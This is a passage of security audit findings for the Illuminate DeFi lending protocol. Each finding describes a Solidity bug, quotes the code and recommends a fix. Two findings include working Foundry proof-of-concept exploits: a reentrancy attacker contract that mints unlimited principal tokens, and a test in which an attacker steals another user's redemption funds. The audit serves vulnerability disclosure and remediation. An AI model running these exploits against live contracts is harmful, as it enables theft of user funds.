- address ipt = mp.markets(Contracts.USDC, maturity, 0);
- assertEq(returned, IERC20(ipt).balanceOf(msg.sender));
+ uint256 lendersPrincipalTokens = IERC20(Contracts.YIELD_TOKEN).balanceOf(address(l));
+ uint256 attackersIlluminateTokens = IERC20(ipt).balanceOf(msg.sender);
+ // The attacker got almost twice as much of iPT as he should have.
+ // Attacker could get much higher multiple if the AttackersContract used
+ // more levels of recursion
+ assertGt(attackersIlluminateTokens, lendersPrincipalTokens * 19/10);
}
function testTempusLend() public {
Example of the vulnerability:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L928
/// @notice swaps underlying premium via a Yield Space Pool
/// @dev this method is only used by the Yield, Illuminate and Swivel protocols
/// @param u address of an underlying asset
/// @param y Yield Space Pool for the principal token
/// @param a amount of underlying tokens to lend
/// @param r the receiving address for PTs
/// @param p the principal token in the Yield Space Pool
/// @param m the minimum amount to purchase
/// @return uint256 the amount of tokens sent to the Yield Space Pool
function yield(
address u,
address y,
uint256 a,
address r,
address p,
uint256 m
) internal returns (uint256) {
// Get the starting balance (to verify receipt of tokens)
uint256 starting = IERC20(p).balanceOf(r);
// Get the amount of tokens received for swapping underlying
uint128 returned = IYield(y).sellBasePreview(Cast.u128(a));
// Send the remaining amount to the Yield pool
Safe.transfer(IERC20(u), y, a);
// Lend out the remaining tokens in the Yield pool
IYield(y).sellBase(r, returned);
// Get the ending balance of principal tokens (must be at least starting + returned)
uint256 received = IERC20(p).balanceOf(r) - starting;
// Verify receipt of PTs from Yield Space Pool
if (received <= m) {
revert Exception(11, received, m, address(0), address(0));
}
return received;
}
(yield(...)
is called from a couple of lend(...)
methods. y
is a user-supplied address)
Tool used
Manual Review
Recommendation
- Make the entire Lender contract non-reentrant, for example by using https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard
- Consider using only pre-approved addresses of external pools, similarly to how Principal Tokens have to be pre-approved.
Duplicate of #179
rvierdiiev - Possible to create market for a protocol while Illuminate market is not created
rvierdiiev
medium
Possible to create market for a protocol while Illuminate market is not created
Summary
Possible to create market for a protocol while Illuminate market is not created
Vulnerability Detail
Function Marketplace.createMarket
checks if illuminate market exists and if no, then it creates new Illuminate market and set all other protocol's principal markets. The main thing is that markets for token and maturity should not exists if Illuminate market was nor created.
Also Marketplace
has function setPrincipal
which allows to set any other protocol(allowed by illuminate) principal market. After check that market isn't set already it just set it.
So thing function makes it possible to create another protocols market without having illuminate one.
Example.
Admin set market for Yield
protocol using setPrincipal
function. Illuminate market do not exist for this base token and maturity.
As a result Yield
market is available for using, while no illuminate market.
Impact
You can work with another market while illuminate is not created.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
Check that illuminate market already exist.
kenzo - `ERC5095.redeem/withdraw` do not work before token maturity
kenzo
low
ERC5095.redeem/withdraw
do not work before token maturity
Summary
When trying to redeem before maturity,
both of these functions call marketplace.sellPrincipalToken
, which tries to pull the PT from the sender.
But ERC5095
itself doesn't hold the PTs and doesn't pull them from the user.
Therefore the call will fail.
Vulnerability Detail
Detailed above.
Impact
Impaired functionality.
Assets can still be sold straight via Marketplace
.
Code Snippet
For example we can see that redeem
calls IMarketPlace(marketplace).sellPrincipalToken
without pulling the PTs from the user:
function redeem(uint256 s, address r, address o) external override returns (uint256) {
// Pre-maturity
if (block.timestamp < maturity) {
uint128 assets = Cast.u128(previewRedeem(s));
// If owner is the sender, sell PT without allowance check
if (o == msg.sender) {
uint128 returned = IMarketPlace(marketplace).sellPrincipalToken(...)
And sellPrincipalToken
tries to pull the PTs from msg.sender
:
Safe.transferFrom(IERC20(address(pool.fyToken())), msg.sender, address(pool), a);
Since msg.sender
is ERC5095
at that point, and ERC5095
didn't pull the tokens from the original sender, no tokens will be sent to the yield pool, and the redemption will fail.
Tool used
Manual Review
Recommendation
Pull the tokens from the user in ERC5095.redeem/withdraw
.
(The flow can also be changed to make the process a little more efficient.)
Duplicate of #195
kenzo - Minting iPTs through iPTs will inflate iPT's totalSupply and mess up accounting
kenzo
medium
Minting iPTs through iPTs will inflate iPT's totalSupply and mess up accounting
Summary
Using Lender.mint
, a user can send iPTs to Lender and mint new iPTs in return.
This will inflate the iPT supply.
In that state, when a user will try to redeem his iPTs, he will get less underlying than deserved - as Lender also holds iPTs who's value should in fact should be distributed equally amongst all holders.
Vulnerability Detail
Described above. Consider the following scenario:
- Alice and Bob have 10 iPTs each. Total supply is 20.
- Bob calls
Lender.mint
with Illuminate principal and his 10 iPTs - Bob's iPTs get sent to
Lender
, and Bob gets minted 10 new iPTs - Now Alice, Bob and
Lender
have 10 iPTs each - When Alice tries to redeem her iPTs, she gets only 1/3 of the pot, instead of 1/2.
Impact
Redemption accounting is off.
If a user mints iPTs through iPTs, then upon redemption, every user will get less underlying than deserved.
The underlying can still be rescued by Illuminate team if they withdraw the iPT from Lender, redeem it themselves, and distribute it rightfully to all the users.
But I think that's probably not something that should happen nor that Illuminate wants to have to do.
Code Snippet
This is the mint function. Note that it allows a user to send iPTs (p = 0
) to Lender and mint new iPTs in return.
function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
address principal = IMarketPlace(marketPlace).token(u, m, p);
Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
IERC5095(principalToken(u, m)).authMint(msg.sender, a);
emit Mint(p, u, m, a);
return true;
}
And upon redemption, Illuminate redeems to the user his pro rata share of iPT's supply:
// Get the amount of tokens to be redeemed from the sender
uint256 amount = token.balanceOf(msg.sender);
// Calculate how many tokens the user should receive
uint256 redeemed = (amount * holdings[u][m]) / token.totalSupply();
Therefore, as the supply has been inflated by tokens sent to Lender
, user will get less than deserved, as described above.
Tool used
Manual Review
Recommendation
Do not allow minting iPTs in Lender.mint
if p == 0
(supplying iPTs).
Duplicate of #108
Ruhum - `Reedemer.redeem()` for Sense will always fail
Ruhum
high
Reedemer.redeem()
for Sense will always fail
Summary
Because of a missing approval to the Converter
contract, the Reedemer.redeem()
function for Sense will always fail.
Vulnerability Detail
When a new market is created, the Marketplace contract calls the Reedemer contract's approve()
function to give the Converter contract access to its tokens.
Reedemer uses Converter for 3 Principals:
- Sense
- Pendle
- APWine
But, in the createMarket()
function of the Marketplace, the approval for Sense is missing. Thus, the Reedemer contract calls the Converter without granting it the approval to access Sense's compounding token. All of these calls will fail. Effectively, the tokens will be locked up.
There's actually a fork test for this specific scenario. But, the test uses Foundry's helper methods to manually approve the Converter contract to access the token.
Impact
Users won't be able to redeem their Sense principal.
Code Snippet
When a market is created, it only approves for Pendle and APwine: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L184-L196
// Have the redeemer contract approve the Pendle principal token
if (t[3] != address(0)) {
address underlyingYieldToken = IPendleToken(t[3])
.underlyingYieldToken();
IRedeemer(redeemer).approve(underlyingYieldToken);
}
if (t[6] != address(0)) {
address futureVault = IAPWineToken(t[6]).futureVault();
address interestBearingToken = IAPWineFutureVault(futureVault)
.getIBTAddress();
IRedeemer(redeemer).approve(interestBearingToken);
}
The redeem()
function for Sense calls the Converter: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L379
// Get the compounding token that is redeemed by Sense
address compounding = ISenseAdapter(a).target();
// Redeem the compounding token back to the underlying
IConverter(converter).convert(
compounding,
u,
IERC20(compounding).balanceOf(address(this))
);
The fork test uses startPrank()
to impersonate the Redeemer contract and approve the Converter for the test to pass: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/test/fork/Redeemer.t.sol#L370-L372
vm.startPrank(address(r));
IERC20(Contracts.WSTETH).approve(address(c), type(uint256).max);
vm.stopPrank();
If you comment out that snippet, the test will fail.
Tool used
Manual Review
Recommendation
In createMarket()
approve the Sense token as well.
Duplicate of #117
0x0 - No Upper Bound Feenominator Value
0x0
medium
No Upper Bound Feenominator Value
Summary
There is no upper bound for the maximum value of the feenominator
.
Vulnerability Detail
This function implements the ability for the admin to be able to set the feenominator
variable used for calculating fees to be charged in lending. There's no maximum value validation.
Impact
- In the event of a compromised/malicious admin this could be set to an extremely high value and users taking a loan will be overcharged on the fee they pay.
Code Snippet
function setFee(uint256 f) external authorized(admin) returns (bool) {
uint256 feeTime = feeChange;
if (feeTime == 0) {
revert Exception(23, 0, 0, address(0), address(0));
} else if (block.timestamp < feeTime) {
revert Exception(
24,
block.timestamp,
feeTime,
address(0),
address(0)
);
} else if (f < MIN_FEENOMINATOR) {
revert Exception(25, 0, 0, address(0), address(0));
}
feenominator = f;
delete feeChange;
emit SetFee(f);
return true;
}
Tool used
Manual Review
Recommendation
- Validate the new value is within an acceptable limit:
} else if (f < MIN_FEENOMINATOR || f > MAX_FEENOMINATOR ) {
kenzo - Extra minting after `yield()` function causes iPT supply inflation and skewed accounting
kenzo
medium
Extra minting after yield()
function causes iPT supply inflation and skewed accounting
Summary
In Swivel and Illuminate's lend
functions, yield()
is being called, which swaps PTs for iPTs.
After that call, additional iPTs are minted and sent to the user.
This means that Lender ends up holding extra iPTs which will skew the accounting.
Vulnerability Detail
Described above and below.
Impact
Redemption accounting is off.
If iPT supply is inflated and Lender holds iPTs, then upon redemption, every user will get less underlying than deserved.
The underlying can still be rescued by Illuminate team if they withdraw the iPT from Lender, redeem it themselves, and distribute it rightfully to all the users.
But I think that's probably not something that should happen nor that Illuminate wants to have to do.
As this functionality is legit use of the protocol, it means the funds will have to be rescued and distributed manually to all the users every time.
Code Snippet
When a user calls lends
for Illuminate principal, the function will call yield()
and then mint iPTs to the user.
uint256 returned = yield(u, y, a - a / feenominator, address(this), principal, minimum);
IERC5095(principalToken(u, m)).authMint(msg.sender, returned);
The same thing happens in swivelLendPremium
.
uint256 swapped = yield(u, y, p, address(this), IMarketPlace(marketPlace).token(u, m, 0), slippageTolerance);
IERC5095(principalToken(u, m)).authMint(msg.sender, swapped);
But yield()
function already swaps PTs for iPTs, which end up in Lender
itself (3rd parameter above, address(this)
) - so there is no need to mint additional ones.
Therefore, Lender
has bought iPTs from the pool for the user, and then proceeds to mint additional ones and send them to the user, leaving the swapped ones in Lender's possession.
This leads to inflated supply, and as Redeemer redeems user's iPTs as per iPT's total supply, this leads to the discrepancy detailed above.
Tool used
Manual Review
Recommendation
If yield()
has bought from the YieldPool iPTs for the user, send them to him, instead of minting extra new ones.
0xmuxyz - Should use safeTransferFrom() instead of transferFrom()
0xmuxyz
medium
Should use safeTransferFrom() instead of transferFrom()
Summary
- Should use
safeTransferFrom()
instead oftransferFrom()
Vulnerability Detail
- A lot of
transferFrom()
are used in this repo instead ofsafeTransferFrom()
like I wrote at the Code Snippet below.
Impact
- In case of using
transferFrom()
function, transaction using it will not return the transaction result with"boolean"
(True or False) that show whether transaction is successful or not. That allow attackers to move forward from the line that includestransferFrom()
to next line. It might gives attackers opportunity to do malicious attacks or unexpected behaviors.
Code Snippet
- The links below are the lines that
transferFrom()
function is used:- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L160
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L187
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Converter.sol#L27
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L280
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L321
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L387
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L475
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L533
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L585
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L644
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L707
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L761
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L302-L307
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L341-L346
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L379
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L413-L418
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L458
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L461-L466
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L507
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L549
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L588
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L267-L272
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L364
Tool used
- Manual Review (Foundry)
Recommendation
- Should use
safeTransferFrom()
instead oftransferFrom()
.- By using it, it can retrieve the result of transaction with boolean (True or False) as a returned-value.
- Then, the validation code (that is reverted if the returned-value of the result above is False) should be implemented at the next line.
https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#SafeERC20-safeTransferFrom-contract-IERC20-address-address-uint256-
kenzo - Protocol will lose fees when lending on Swivel and swapping in YieldPool
kenzo
medium
Protocol will lose fees when lending on Swivel and swapping in YieldPool
Summary
When a user uses Lender.lend
to lend on Swivel, and passes e=true
so remainder of funds will be swapped in YieldPool,
The contract will send to the YieldPool the order's protocol fee as well.
Vulnerability Detail
Detailed above and in the code snippet below.
Impact
Protocol funds will be lost, as user will not pay fee for this order.
Fees accounting will be wrong, as fees
contains fees which are not present in the contract. withdrawFee
will fail (as it tries to withdraw more than balance) and admin will have to withdraw fees using the emergency mechanism.
Code Snippet
When landing on Swivel, Lender
will sum up the fees of the order, substract it from the order amount, and then add it to fees
:
// Add the accumulated fees to the total
a[lastIndex] = a[lastIndex] - fee; // Revert here if fee not paid
// Extract fee
fees[u] += fee;
After initiating the Swivel order, the function checks what's the underlying remainder, and sends it to Yield to swap to iPTs:
if (e) {
// Calculate the premium
uint256 premium = IERC20(u).balanceOf(address(this)) - starting;
// Swap the premium for Illuminate principal tokens
swivelLendPremium(u, m, y, premium, premiumSlippage);
}
Note that since the fees have not been sent to Swivel, they are included in the premium
delta.
They are then sent to be swapped on Yield using swivelLendPremium
.
Therefore, the fees will be lost, the accounting will be off, and withdrawFee
will revert when it tries to send more than the contract's balance.
Tool used
Manual Review
Recommendation
Deduct fee
from premium
.
Duplicate of #45
caventa - Unsafe casting from int128 can cause the wrong accounting amount
caventa
medium
Unsafe casting from int128 can cause the wrong accounting amount
Summary
Unsafe casting from int128 can cause the wrong accounting amount.
Vulnerability Detail
The unsafe casting to int128 variable (See Marketplace.sol#L310) can cause its value to be different from the original value.
Impact
In this case, if the value is greater than type(int128).max which is 2**127 - 1, then the accounting will be wrong and the amount will be less than the amount of the token.
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L310
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L940
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/lib/Cast.sol#L10
Tool used
Manual Review
Recommendation
Using Cast.u128 to do casting is a better option because it will revert the transaction if the amount is larger than 2**127 - 1. Cast.u128 is used several times in Lender.sol (See Lender.sol#L940) and ERC5095.sol, which I think the developer should use the same approach too.
Prefix - Lender.sol and Marketplace.sol admin can be set to any address
Prefix
low
Lender.sol and Marketplace.sol admin can be set to any address
Summary
Admin address can be set to zero by mistake, thus disabling all the admin methods.
Vulnerability Detail
The method setAdmin
only sets the admin address without any checks:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L219-L223
This means that if admins use this method mistakingly with address that they do not own, they would lose the admin access to the marketplace forever. Because README.md says that admins are always multisig, probability of such mistake is smaller but it is still there.
The same problem is repeated in Marketplace.sol
.
Impact
Losing administration access to a marketplace.
Code Snippet
Tool used
Manual Review
Recommendation
Copied from point 50 of https://secureum.substack.com/p/security-pitfalls-and-best-practices-101 :
Changing critical addresses in contracts should be a two-step process where the first transaction (from the old/current address) registers the new address (i.e. grants ownership) and the second transaction (from the new address) replaces the old address with the new one (i.e. claims ownership). This gives an opportunity to recover from incorrect addresses mistakenly used in the first step. If not, contract functionality might become inaccessible. (see here and here)
kenzo - `authRedeem` and `autoRedeem` do not check if the market is paused
kenzo
medium
authRedeem
and autoRedeem
do not check if the market is paused
Summary
Redeemer.redeem
function checks if market redemptions are paused via the unpaused(u, m)
modifier.
This check is missing from authRedeem
and autoRedeem
.
Vulnerability Detail
As described above.
Impact
There is inconsistency in the redeeming methods.
This renders the pausing mechanism ineffective and may lead to loss of funds.
If for example there's an insolvency in some market, like Compound, and Illuminate pauses redemptions until it is fixed,
users may accidently still redeem their iPTs via ERC5095.redeem/withdraw
and autoRedeem
,
thereby not getting their full underlying back, and losing assets.
(Once the market is properly redeemed and unpaused, other iPT redemptions will receive underlying that belonged to the unfortunate early redeemer.)
Additionally, since autoRedeem
may be called by anybody once a user has opted to use the mechanism,
and since it does not have the unpaused
check,
anybody might burn an autoRedeem
-user's tokens while the market is paused.
This can be done by accident, or even maliciously, as burning tokens prematurely will increase everybody else's share of the underlying once it is properly redeemed.
Code Snippet
We can see the redeem
function has an unpaused
modifier:
function redeem(address u, uint256 m) external unpaused(u, m) {
But authRedeem
and autoRedeem
do not contain this modifier, nor have any equivalent check.
Tool used
Manual Review
Recommendation
Add the unpaused
modifier to authRedeem
and autoRedeem
.
Duplicate of #113
caventa - Unable to withdraw native coins like Ether from Marketplace.sol
caventa
medium
Unable to withdraw native coins like Ether from Marketplace.sol
Summary
Unable to withdraw native coins like Ether from Marketplace.sol.
Vulnerability Detail
The batch function (See Marketplace.sol#L617) is a payable function that allows users to send ether while calling any non-view function of Marketplace.sol. However, there is no function in Marketplace.sol to allow the admin to withdraw Ether from the contract which can lead to Ether being stuck in the contract forever.
Impact
Ether could be stuck forever in Marketplace.sol
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L617
Tool used
Manual Review
Recommendation
Either Remove the payable keyword or allow the admin to withdraw Ether from the contract by adding the following code
function withdraw() external authorized(admin) {
payable(admin).transfer(address(this).balance);
}
Nyx - Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply
Nyx
medium
Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply
Summary
Steps:
Lender.lend() with p = 0 to get some Illuminate principal tokens
token.approve() gives Lender allowance to spend these tokens
loop:
Lender.mint() with p = 0 minting more principal tokens
Vulnerability Detail
Impact
Lender.mint() may use p = 0 which will mean principal is the same as principalToken(u, m) i.e. the Illuminate PT. The impact is we will transfer some principal to the Lender contract and it will mint us an equivalent amount of principal tokens.
This can be repeated indefinitely thereby minting infinite tokens. The extra balance will be store in Lender.
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L270-L288
Tool used
Manual Review
Recommendation
Do not accept principal 0 in the mint function.
Duplicate of #108
kenzo - Attacker can steal funds from redemptions by minting matured PTs
kenzo
high
Attacker can steal funds from redemptions by minting matured PTs
Summary
Some of the lending/minting functions do not check if the principal pulled or iPT minted have already matured.
This can lead to bad accounting and even allows an attacker to steal funds when user try to redeem their iPTs.
Vulnerability Detail
In the mint
method, Lender
pulls protocol PTs from the user and mints iPTs in return.
It does not check whether the supplied PT or the iPT has matured.
Similarly, the lend
methods, including the Pendle lend method which uses SushiSwap, do not check whether the iPT being minted has matured.
Using these, a user or attacker can mint additional iPTs after the protocol PTs have already been redeemed by the Redeemer, thereby creating an inconsistency between iPT's totalSupply and Redeemer's holdings array. This will lead to loss for users trying to redeem at this state.
This can happen both accidently or maliciously.
Impact
Loss of user funds.
- Let's say Alice and Malaclypse hold each 100 YieldPTs.
- Before maturity, Alice mints 100 iPTs using her YPTs. iPT totalSupply is 100.
- At maturity, somebody redeems Yield market using
Redeemer
. - After that, Malaclypse uses
Lender.mint
to mint 100 iPTs from his YPTs. - At this point, the iPT totalSupply is 200, but the Redeemer
holdings
array contains only 100 underlying redeemed. - Now Alice tries to redeem her iPTs. Since she owns 100/200 of the iPTs, she will get half of the holdings array - 50 underlying - but all of her iPTs have been burned. Therefore she lost funds.
- Now if Malaclypse redeems Yield market again, and then redeems his iPTs, since he owns all of the supply he will get 150 underlying.
I programmed such a POC and attached below.
Code Snippet
The mint function doesn't check if the market has matured:
function mint(uint8 p, address u, uint256 m, uint256 a) external unpaused(u, m, p) returns (bool) {
address principal = IMarketPlace(marketPlace).token(u, m, p);
Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
IERC5095(principalToken(u, m)).authMint(msg.sender, a);
emit Mint(p, u, m, a);
return true;
}
Therefore a user/attacker can mint tokens iPTs through matured markets, and create the abovementioned loss/attack. See POC.
Additionally, the lend
methods do not check if a market has matured.
This presents another option to execute this attack.
Some of the lend
functions will revert if trying to buy PTs after maturity, but not all:
Pendle's lend
uses a SushiSwap pool, which always allows swapping. Since this method doesn't check that the the supplied p
is actually Pendle, a user can create a SushiSwap pool for a different protocol (eg. Yield), and pass this protocol as p
. The lend
function will continue to swap the supplied underlying with the PTs from the user-created pool, thus minting iPTs to the attacker, which will perform the attack. (The attacker will then withdraw all liquidity from the pool and lose no funds.)
Proof of Concept
I created the following POC to show such an attack.
In it Alice simply tries to redeem her tokens, but Malaclypse sandwiches her redemption and steals her funds.
The final assertion in the test asserts that Alice has her starting balance back - but it fails, since Mal stole it.
Add the test to fork/Redeemer.t.sol.
function testTryToStealUsingMaturedPTs() public {
// deploy market
deployMarket(Contracts.USDC, 0);
// give redeemer underlying tokens
deal(Contracts.USDC, address(r), startingBalance);
// update holdings by executing another redeem
address principalToken = Contracts.YIELD_TOKEN;
{
// give lender principal tokens
deal(principalToken, address(l), startingBalance);
// approve lender to transfer principal tokens
vm.startPrank(address(l));
IERC20(principalToken).approve(address(r), startingBalance*2);
vm.stopPrank();
vm.startPrank(msg.sender);
// execute the redemption
r.redeem(2, Contracts.USDC, maturity);
vm.stopPrank();
}
// give user illuminate tokens
address illuminateToken = mp.markets(Contracts.USDC, maturity, 0);
deal(illuminateToken, msg.sender, startingBalance, true);
// Set up attacker with matured YieldPTs
address attacker = address(5);
deal(principalToken, attacker, startingBalance);
// At this point, Yield has already been redeemed.
// The legit user now tries to redeem his iPTs, but attacker sandwiches him and steals his funds.
// Attacker: mint iPTs for YieldPTs through Lender
vm.startPrank(attacker);
IERC20(principalToken).approve(address(l), startingBalance);
l.mint(2, Contracts.USDC, maturity, startingBalance);
vm.stopPrank();
// Original user redeems his iPTs - will get less underlying as accounting is inconsistent
vm.prank(msg.sender);
r.redeem(Contracts.USDC, maturity);
// Now attacker redeems the market again and then redeems his iPTs
vm.startPrank(attacker);
r.redeem(2, Contracts.USDC, maturity);
r.redeem(Contracts.USDC, maturity);
// Original user should have his original balance back - but he doesn't, as attacker siphoned it. Assertion will fail.
assertEq(IERC20(Contracts.USDC).balanceOf(msg.sender), startingBalance);
}
Tool used
Manual Review
Recommendation
In Lender mint
, when pulling PTs from the user, check that these specific protocol PTs have not matured.
Similarly in the lend
methods, check that the specific protocol's PT has not matured. (Some of the protocols already do that for you, but not all).
Note that this issue also brings to mind the possible problem with users redeeming their iPTs before all protocol redemptions have occurred. But I believe that can be considered a different issue. This current issue is about needing to make sure users can not accidently or maliciously mint iPTs that will dilute the redemption value for previous iPT holders.
Duplicate of #208
0x0 - Development Contracts In Production
0x0
medium
Development Contracts In Production
Summary
The Redeemer contract has the Forge Standard Library contract imported.
Vulnerability Detail
Redeemer
Line 34 imports the Forge Standard Library. As well as increasing the size and cost of the contract to deploy, this exposes development ABIs that are not required for this system to work.
Impact
- The administrators would be forced to redeploy the contracts without this library costing additional Ether.
- Users would be asked to move to a new contract instance without this library which incurs a migration cost for them from unwrapping/wrapping using the new contract.
Code Snippet
import 'forge-std/Test.sol';
Tool used
Manual Review
Recommendation
- Remove development libraries from production deployments.
rvierdiiev - Marketplace.setPrincipal funtion approves allowance for Notional incorrectly
rvierdiiev
medium
Marketplace.setPrincipal funtion approves allowance for Notional incorrectly
Summary
Marketplace.setPrincipal funtion approves allowance for Notional incorrectly
Vulnerability Detail
Marketplace.setPrincipal
is used to provide principal token for the base token and maturity when it was not set yet. To set PT you also provide protocol that this token belongs to.
In case of Notional the allowance is set incorrectly.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L236-L239
} else if (p == uint8(Principals.Notional)) {
// Principal token must be approved for Notional's lend
ILender(lender).approve(address(0), address(0), address(0), a);
}
It provides address(0) instead of base token here, so actually Lender
does not create any allowance.
Impact
No allowance was created for Notional protocol, operations with it will fail.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
Change to this.
} else if (p == uint8(Principals.Notional)) {
// Principal token must be approved for Notional's lend
ILender(lender).approve(u, address(0), address(0), a);
}
Duplicate of #41
kenzo - Reentrancy in lending functions allows attacker to mint infinite amount of iPTs
kenzo
high
Reentrancy in lending functions allows attacker to mint infinite amount of iPTs
Summary
Some of the lending functions get a user-controlled contract as a swapping pool and call it.
The lending function checks Lender's balance before and after the call to quantify the amount of tokens received.
But an attacker can reenter the contract, thereby fooling this check and minting arbitrary amount of tokens to itself.
Vulnerability Detail
This pattern is present when lending for protocols Illuminate, Yield, Swivel, APWine, Sense, Element.
Let's look at Sense's lend
for example.
The (truncated) function is as follows:
uint256 starting = token.balanceOf(address(this));
ISensePeriphery(x).swapUnderlyingForPTs(adapter, s, lent, r);
received = token.balanceOf(address(this)) - starting;
IERC5095(principalToken(u, m)).authMint(msg.sender, received);
x
is a user supplied parameter.
An attacker can supply as x
a contract which upon the first call, reenters Lender
, and upon the second call, does a real swap on Sense (or just sends PTs to Lender
). In that case, both the first and second lend
calls will calculate that the contract received delta
principal from the attacker, although it was received only once. So the attacker would get twice the amount of iPTs. I've created a POC below.
Impact
Loss of user funds.
Infinite minting of iPTs is possible.
Attacker may then dump them on the market,
or mint them just before market maturity, and then redeem them, thereby stealing user funds.
Bonus:
The reentrancy also allows an attacker to steal protocol fees, eg. through Sense or APWine lending which doesn't verify the supplied pool/adapter.
The attacker would start a lend call for an expensive underlying (stEth). Sense's swapUnderlyingForPTs
call would call the attacker contract which would call Sense function again, but with a cheap underlying (DAI), and an adapter that will swap stEth, not DAI. This stEth is present in Lender
due to user fees. This second function call would swap stEth for the PT and mint nothing to the attacker (since u==DAI
). But then the first function would resume, seeing that the contract received stEth PTs, and would mint to the attacker stEth iPTs on the expense of the protocol's fees. So the attacker supplied DAI and received equal amount of stEth, not a bad trade.
Code Snippet
Above I've pasted Sense's function.
Yield, Illuminate and Swivel (via swivelLendPremium
) all use the yield
function which contains the same vulnerable pattern (truncated. y
is user supplied pool):
uint256 starting = IERC20(p).balanceOf(r);
IYield(y).sellBase(r, returned);
uint256 received = IERC20(p).balanceOf(r) - starting;
Element function (e
is user supplied):
uint256 starting = IERC20(principal).balanceOf(address(this));
IElementVault(e).swap(s, f, r, d);
uint256 purchased = IERC20(principal).balanceOf(address(this)) - starting;
And same pattern for APWine.
uint256 starting = IERC20(principal).balanceOf(address(this));
IAPWineRouter(x).swapExactAmountIn(...);
uint256 received = IERC20(principal).balanceOf(address(this)) - starting;
Proof of Concept
The following test will demonstrate the vulnerability.
Paste it in fork/Lender.t.sol. The test should go after all the tests, inside contract LenderTest
block, and the contract should go outside that block.
function testInfiniteMintWithReentrancy() public {
deployMarket(Contracts.WETH);
// For ease of POC we will seed attacker with initialBalance of SensePT.
// He will end up with initialBalance * (timesToRenter + 1) iPTs.
uint256 initialBalance = 100 ether;
uint256 timesToRenter = 100;
ReentrancyAttacker attackContract = new ReentrancyAttacker();
deal(Contracts.SENSE_TOKEN, address(attackContract), initialBalance);
attackContract.executeVeryProfitableContractInteraction(l, IERC20(Contracts.SENSE_TOKEN), Contracts.WETH, maturity, timesToRenter);
address ipt = mp.markets(Contracts.WETH, maturity, 0);
// Attacker has [initialBalance * (timesToRenter + 1)] iPTs although he started with only initialBalance iPTs.
assertEq(IERC20(ipt).balanceOf(address(attackContract)), initialBalance * (timesToRenter + 1));
}
contract ReentrancyAttacker {
uint256 timesToReenter;
IERC20 pt;
Lender lender;
address u;
uint256 m;
function callLend() internal {
// Call Lender for Sense protocol
lender.lend(6, u, m, 0, 0, address(this), 0, address(0));
}
function executeVeryProfitableContractInteraction(Lender _lender, IERC20 _pt, address _u, uint256 _m, uint256 _timesToReenter) public {
lender = _lender;
pt = _pt;
u = _u;
m = _m;
timesToReenter = _timesToReenter;
callLend();
}
// The callback from Lender
function swapUnderlyingForPTs(address, uint256, uint256, uint256) external returns (uint256 r) {
r = 23; // just to silence compiler warning 😐
if (timesToReenter == 0) {
uint256 balance = pt.balanceOf(address(this));
pt.transfer(address(lender), balance);
} else {
timesToReenter--;
callLend();
}
}
}
Tool used
Manual Review
Recommendation
Add reentrancy lock on the lending functions.
Duplicate of #179
Bnke0x0 - Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply
Bnke0x0
medium
Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply
Summary
Vulnerability Detail
Impact
Lender.mint() May Take The Illuminate PT As Input Which Will Transfer And Mint More Illuminate PT Cause an Infinite Supply
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L270-L288
' function mint(
uint8 p,
address u,
uint256 m,
uint256 a
